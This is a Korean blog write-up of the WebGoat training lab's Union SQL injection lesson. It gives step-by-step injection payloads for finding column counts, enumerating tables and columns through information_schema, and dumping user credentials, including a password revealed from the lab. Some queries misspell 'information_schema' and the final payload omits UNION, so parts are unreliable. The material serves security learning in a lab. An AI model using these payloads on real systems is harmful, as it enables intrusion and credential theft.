WebGoat - SQL injection (Union SQL injection)
oolongeya
·2021. 8. 27. 15:11
user_data 테이블 정보가 있다.
모든 데이터들을 확인해보고, Dave의 패스워드를 알아내면 된다.
Union SQL injection
- 2개 이상의 쿼리를 사용
- UNION 연산자 사용
- 컬럼 개수, 데이터 형식이 같아야 함
컬럼 개수를 알아내기
[ union 대입으로 알아내기 ]
앞 쿼리문 + union select 1, %23 으로 작성을 하면 에러가 발생
union select 1, 2, %23
union select 1, 2, 3, %23
union select 1, 2, 3, 4, %23
와 같이 컬럼의 개수를 늘리다 에러가 나지 않으면 그것이 컬럼의 개수
[ order by 대입으로 알아내기 ]
where ??? + order by 1 % 23
where ??? + order by 2 % 23
와 같이 작성하다 에러가 뜨지 않는 마지막 수가 컬럼의 개수
출처 : https://dailylearn.tistory.com/33
사용자 DB, 버전 알아내기
[ version(), user(), database() 대입하기 ]
SQL 버전, 사용중인 user 정보, database 이름
union select table_name from infromation_schema.tables where table_schema = database()
로 table을 확인할 수 있다.
웹에서는 최상위 한 줄을 가져오므로 limit를 사용해야한다.
union select table_name from information_schema.tables where table_schema = database() limit 0,1 %23
union select table_name from information_schema.tables where table_schema = database() limit 1,1 %23
방식으로 한 줄씩 내려가면서 table name을 확인할 수 있다.
table name을 확인하고 컬럼의 이름을 확인해야한다.
찾은 table이름은 컬럼이름에 넣으면 된다.
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 0,1 %23
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 1,1 %23
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 2,1 %23
출처 : https://dailylearn.tistory.com/33
6.a) Retrieve all data from the table
Name 부분에 참인 쿼리를 넣어서 컬럼 개수를 파악해보자.
컬럼의 개수는 7개다.
1' or 1=1 SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data--
dave의 패스워드 passW0rD를 입력하면 된다.
반응형
'네트워크, 웹 (Network & Web) > Wargame' 카테고리의 다른 글
WebGoat - SQL injection (Blind SQL injection) (0) | 2021.08.27 |
---|---|
WebGoat - A1 injection (Compromising Availability) (0) | 2021.08.27 |
WebGoat - A1 injection (Compromising Integrity with Query chaining) (0) | 2021.08.27 |
WebGoat - A1 injection (Compromising confidentiality with String SQL injection) (0) | 2021.08.27 |
WebGoat - A1 injection (Numeric SQL injection) (0) | 2021.08.27 |